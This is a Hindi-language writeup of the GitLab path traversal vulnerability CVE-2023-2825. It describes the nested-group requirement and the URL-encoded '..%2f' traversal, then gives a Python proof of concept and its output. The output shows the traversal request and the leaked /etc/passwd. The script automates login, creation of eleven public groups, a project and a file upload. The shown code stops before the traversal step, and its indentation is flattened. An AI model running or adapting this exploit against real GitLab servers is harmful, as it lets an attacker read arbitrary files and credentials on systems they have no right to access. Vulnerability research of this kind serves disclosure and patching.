
एक अप्रमाणित दुर्भावनापूर्ण उपयोगकर्ता के लिए पायथन में लिखा गया प्रूफ ऑफ कॉन्सेप्ट, पथ ट्रावर्सल भेद्यता का उपयोग करके सर्वर पर मनमानी फ़ाइलों को पढ़ सकता है, जब कम से कम पाँच समूहों के भीतर नेस्टेड किसी सार्वजनिक प्रोजेक्ट में कोई अटैचमेंट मौजूद हो। यह एक क्रिटिकल गंभीरता का मुद्दा है।
23 मई, 2023 को GitLab ने संस्करण 16.0.1 जारी किया जिसमें एक गंभीर भेद्यता, CVE-2023-2825, को ठीक किया गया, जो सामुदायिक संस्करण (CE) और एंटरप्राइज़ संस्करण (EE) संस्करण 16.0.0 को प्रभावित करती है। यह भेद्यता अप्रमाणित उपयोगकर्ताओं को पथ ट्रैवर्सल बग के माध्यम से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। इसकी खोज pwnie ने HackerOne पर बग बाउंटी प्रोग्राम के माध्यम से की थी।
लेखन के समय, कोई सार्वजनिक प्रूफ ऑफ कॉन्सेप्ट उपलब्ध नहीं था।
एक अप्रमाणित दुर्भावनापूर्ण उपयोगकर्ता पथ ट्रैवर्सल भेद्यता का उपयोग करके सर्वर पर मनमानी फ़ाइलें पढ़ सकता है जब किसी सार्वजनिक प्रोजेक्ट में कम से कम पाँच समूहों के भीतर नेस्टेड एक अटैचमेंट मौजूद हो। यह एक गंभीर गंभीरता का मुद्दा है (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)।
इस भेद्यता की एक दिलचस्प आवश्यकता है कि प्रोजेक्ट को कम से कम 5 समूहों में नेस्टेड होना चाहिए। हमारे परीक्षण में, हमने समूहों की संख्या और आप जिन निर्देशिकाओं को ट्रैवर्स कर सकते हैं, के बीच सीधा संबंध पाया। नियम N + 1 प्रतीत होता है, जिसका अर्थ है कि यदि आप 10 निर्देशिकाओं को ट्रैवर्स करना चाहते हैं तो आपके पास 11 समूह होने चाहिए।
एक मानक GitLab इंस्टॉल पर, फ़ाइल अटैचमेंट /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file> पर अपलोड किए जाते हैं। इसलिए यदि आप फ़ाइलसिस्टम रूट तक पहुँचना चाहते हैं, तो आपको 10 निर्देशिकाओं पीछे जाना होगा और इसलिए आपको 11 समूहों की आवश्यकता है।
जब आप किसी GitLab मुद्दे पर एक अटैचमेंट के रूप में एक फ़ाइल अपलोड करते हैं, तो POST - /:repo/upload पर एक अनुरोध भेजा जाता है। यह फ़ाइल URL के साथ एक JSON प्रतिक्रिया देता है, जिससे आप फ़ाइल तक पहुँच सकते हैं।
फ़ाइल URL /:repo/uploads/:id/:file से बना होता है जहाँ :file स्वयं फ़ाइल का नाम है। :file को किसी भी फ़ाइल पथ से बदलने से GitLab अनुरोधित फ़ाइल लौटाएगा। GitLab इस फ़ाइल पथ को सैनिटाइज़ करने में विफल रहता है, जिससे पथ ट्रैवर्सल होता है।
इस भेद्यता का सफलतापूर्वक शोषण करने के लिए, आपको फ़ाइल पथ में / को URL एनकोड करना होगा। GitLab इसे एक मान के रूप में पढ़ेगा और आंतरिक रूप से डिकोड करेगा। इसे एनकोड करने में विफल रहने पर GitLab फ़ाइल पथ में / को रूट के भाग के रूप में व्याख्या करेगा।
हमारे परीक्षण में, केवल / को एनकोड करना Nginx पथ त्रुटियों को बायपास करने के लिए पर्याप्त था।
अप्रमाणित उपयोगकर्ता केवल सार्वजनिक रिपॉजिटरी पर इस भेद्यता का शोषण कर सकते हैं जो नेस्टेड समूह आवश्यकताओं को पूरा करते हैं। रिपॉजिटरी तक पहुँचने के लिए प्रमाणीकरण आवश्यक है।
यहाँ Python में लिखा गया प्रूफ ऑफ कॉन्सेप्ट है। यह 11 समूह बनाता है, एक सार्वजनिक रिपो बनाता है, एक फ़ाइल अपलोड करता है, और फिर फ़ाइल /etc/passwd प्राप्त करने के लिए भेद्यता का शोषण करता है।
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")